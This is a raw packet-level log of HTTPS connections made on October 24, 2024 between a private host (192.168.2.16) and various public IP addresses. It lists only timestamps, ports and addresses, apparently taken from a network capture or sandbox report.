Oct 24, 2024 00:26:47.968436956 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.968451023 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.968480110 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.968518972 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.968548059 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.971322060 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.972882986 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:47.972891092 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:47.974534988 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.974555969 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.974633932 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.974642992 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:47.974690914 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:47.992357969 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:48.004878044 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.004904985 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.004935980 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.020925045 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.029681921 CEST	443	49725	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.030003071 CEST	49725	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.030023098 CEST	443	49725	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.031322002 CEST	443	49725	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.031414986 CEST	49725	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.032624006 CEST	49725	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.032926083 CEST	443	49725	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.035958052 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:48.038170099 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.038249016 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.038310051 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.038347006 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.038417101 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.039257050 CEST	49723	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.039275885 CEST	443	49723	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.041217089 CEST	443	49726	142.250.114.95	192.168.2.16
Oct 24, 2024 00:26:48.041414022 CEST	49726	443	192.168.2.16	142.250.114.95
Oct 24, 2024 00:26:48.041433096 CEST	443	49726	142.250.114.95	192.168.2.16
Oct 24, 2024 00:26:48.042979002 CEST	443	49726	142.250.114.95	192.168.2.16
Oct 24, 2024 00:26:48.043051004 CEST	49726	443	192.168.2.16	142.250.114.95
Oct 24, 2024 00:26:48.043366909 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.043612003 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.043670893 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.043701887 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.043723106 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.044627905 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.044944048 CEST	49726	443	192.168.2.16	142.250.114.95
Oct 24, 2024 00:26:48.045027018 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.045031071 CEST	443	49726	142.250.114.95	192.168.2.16
Oct 24, 2024 00:26:48.045121908 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.045784950 CEST	49726	443	192.168.2.16	142.250.114.95
Oct 24, 2024 00:26:48.045794964 CEST	443	49726	142.250.114.95	192.168.2.16
Oct 24, 2024 00:26:48.046652079 CEST	49719	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.046672106 CEST	443	49719	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.047209024 CEST	49721	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.047225952 CEST	443	49721	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.056071997 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.056504011 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.056646109 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.057060003 CEST	49722	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.057075024 CEST	443	49722	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.062114954 CEST	443	49724	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:48.062186956 CEST	443	49724	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:48.062268019 CEST	49724	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:48.062973022 CEST	49724	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:48.062988043 CEST	443	49724	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:48.083842039 CEST	49725	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.083859921 CEST	443	49725	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.087352037 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:48.087399960 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:48.087428093 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:48.087461948 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:48.087481976 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:48.087517977 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:48.087531090 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:48.087589979 CEST	443	49727	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.087656975 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:48.087799072 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.087806940 CEST	443	49727	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.087959051 CEST	49717	443	192.168.2.16	13.226.184.17
Oct 24, 2024 00:26:48.087973118 CEST	443	49717	13.226.184.17	192.168.2.16
Oct 24, 2024 00:26:48.088859081 CEST	443	49727	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.088918924 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.090114117 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.090190887 CEST	443	49727	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.098839998 CEST	49726	443	192.168.2.16	142.250.114.95
Oct 24, 2024 00:26:48.109791994 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:48.109803915 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:48.109831095 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:48.109846115 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:48.109858036 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:48.109951019 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:48.109951019 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:48.109961987 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:48.110078096 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:48.111537933 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:48.111618042 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:48.111637115 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:48.111686945 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:48.111900091 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:48.111900091 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:48.111908913 CEST	443	49718	192.229.173.207	192.168.2.16
Oct 24, 2024 00:26:48.112050056 CEST	49718	443	192.168.2.16	192.229.173.207
Oct 24, 2024 00:26:48.130909920 CEST	49725	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.130994081 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.131014109 CEST	443	49727	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.177721024 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.177747965 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.177865982 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.177912951 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.178181887 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.178203106 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.184586048 CEST	49731	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.184617996 CEST	443	49731	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.184706926 CEST	49731	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.185029984 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.185045958 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.185271025 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.185357094 CEST	49731	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.185373068 CEST	443	49731	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.185547113 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.185560942 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.190639019 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.190670967 CEST	443	49733	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.190846920 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.191040039 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.191054106 CEST	443	49733	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.204541922 CEST	443	49726	142.250.114.95	192.168.2.16
Oct 24, 2024 00:26:48.207865953 CEST	443	49726	142.250.114.95	192.168.2.16
Oct 24, 2024 00:26:48.207938910 CEST	49726	443	192.168.2.16	142.250.114.95
Oct 24, 2024 00:26:48.208256960 CEST	49726	443	192.168.2.16	142.250.114.95
Oct 24, 2024 00:26:48.208271980 CEST	443	49726	142.250.114.95	192.168.2.16
Oct 24, 2024 00:26:48.236588001 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.237653971 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.237668037 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.238730907 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.238882065 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.239161015 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.239227057 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.239350080 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.239356995 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.288897038 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.337462902 CEST	49734	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.337493896 CEST	443	49734	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.337682962 CEST	49735	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.337707996 CEST	443	49735	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.337749004 CEST	49734	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.337765932 CEST	49735	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.337928057 CEST	49734	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.337940931 CEST	443	49734	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.338032961 CEST	49735	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.338043928 CEST	443	49735	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.353458881 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.353483915 CEST	443	49736	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.353575945 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.353805065 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.353816986 CEST	443	49736	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.370693922 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.370713949 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.370768070 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.370803118 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.370863914 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.371786118 CEST	49720	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.371802092 CEST	443	49720	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.375766039 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.375798941 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.375897884 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.376182079 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.376194954 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.910942078 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.913546085 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.913563967 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.914618015 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.914710999 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.915050030 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.915117025 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.915235043 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.915242910 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.921722889 CEST	443	49731	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.922344923 CEST	49731	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.922374964 CEST	443	49731	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.923821926 CEST	443	49731	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.923883915 CEST	49731	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.927975893 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.929220915 CEST	49731	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.929336071 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.929343939 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.929358959 CEST	443	49731	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.930470943 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.930560112 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.934951067 CEST	49731	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.934961081 CEST	443	49731	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.935915947 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.936055899 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.936090946 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.941129923 CEST	443	49733	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.941391945 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.941406965 CEST	443	49733	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.942519903 CEST	443	49733	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.942616940 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.942960978 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.943022966 CEST	443	49733	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.943171978 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.944329977 CEST	443	49734	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.944540977 CEST	49734	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.944552898 CEST	443	49734	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.945595980 CEST	443	49734	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.945689917 CEST	49734	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.946058035 CEST	49734	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.946131945 CEST	443	49734	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.957844973 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.958055973 CEST	443	49736	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.961304903 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.961314917 CEST	443	49736	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.962404013 CEST	443	49736	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.962496996 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.962877989 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.962949038 CEST	443	49736	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.965718985 CEST	443	49735	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.968539953 CEST	49735	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.968553066 CEST	443	49735	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.969674110 CEST	443	49735	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.969753027 CEST	49735	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.979334116 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.980489969 CEST	49735	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.980619907 CEST	443	49735	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.985860109 CEST	49731	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.985878944 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:48.985879898 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:48.985887051 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:48.985903978 CEST	443	49733	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:48.985918999 CEST	49734	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.985924959 CEST	443	49734	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.017508984 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:49.017520905 CEST	443	49736	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:49.032849073 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:49.033643007 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.033644915 CEST	49735	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.033643961 CEST	49734	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.033654928 CEST	443	49735	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.064908028 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:49.080852985 CEST	49735	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.236324072 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.236356974 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.236411095 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.236419916 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.236454010 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.236884117 CEST	443	49731	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.236913919 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:49.236942053 CEST	443	49731	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.236958981 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:49.237008095 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:49.237015963 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:49.237025976 CEST	49731	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.237034082 CEST	443	49733	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.237046003 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:49.237101078 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:49.237129927 CEST	443	49733	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.237237930 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.238121986 CEST	49732	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.238147020 CEST	443	49732	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.240000963 CEST	49730	443	192.168.2.16	152.195.19.97
Oct 24, 2024 00:26:49.240008116 CEST	443	49730	152.195.19.97	192.168.2.16
Oct 24, 2024 00:26:49.240883112 CEST	49731	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.240900040 CEST	443	49731	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.241367102 CEST	49733	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.241379976 CEST	443	49733	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.241921902 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.242569923 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.242578983 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.244755030 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.244884014 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.245189905 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.245362043 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.245383024 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.286861897 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.286880970 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.334886074 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.373435020 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.373455048 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.373526096 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:49.373631954 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.374531031 CEST	49737	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:49.374536037 CEST	443	49737	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:50.243868113 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 00:26:51.852931976 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:51.852965117 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:51.853044033 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:51.854693890 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:51.854710102 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:52.497243881 CEST	49742	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:52.497296095 CEST	443	49742	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:52.497394085 CEST	49742	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:52.497663021 CEST	49742	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:52.497679949 CEST	443	49742	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:52.773498058 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:52.773540020 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:52.773644924 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:52.773828983 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:52.773842096 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:52.974734068 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:52.974814892 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:52.977735043 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:52.977746964 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:52.978063107 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.028891087 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:53.043296099 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:53.083334923 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.233438015 CEST	443	49742	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:53.233907938 CEST	49742	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:53.233936071 CEST	443	49742	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:53.234313011 CEST	443	49742	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:53.234743118 CEST	49742	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:53.234826088 CEST	443	49742	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:53.235106945 CEST	49742	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:53.275326014 CEST	443	49742	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:53.363565922 CEST	443	49742	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:53.363651037 CEST	443	49742	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:53.363789082 CEST	49742	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:53.364985943 CEST	49742	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:53.365005970 CEST	443	49742	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:53.369004965 CEST	49744	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:53.369075060 CEST	443	49744	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:53.369304895 CEST	49744	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:53.369579077 CEST	49744	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:53.369595051 CEST	443	49744	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:53.381724119 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.381994009 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.382003069 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.382371902 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.382430077 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.383100986 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.383174896 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.384382010 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.384445906 CEST	443	49743	142.250.113.101	192.168.2.16
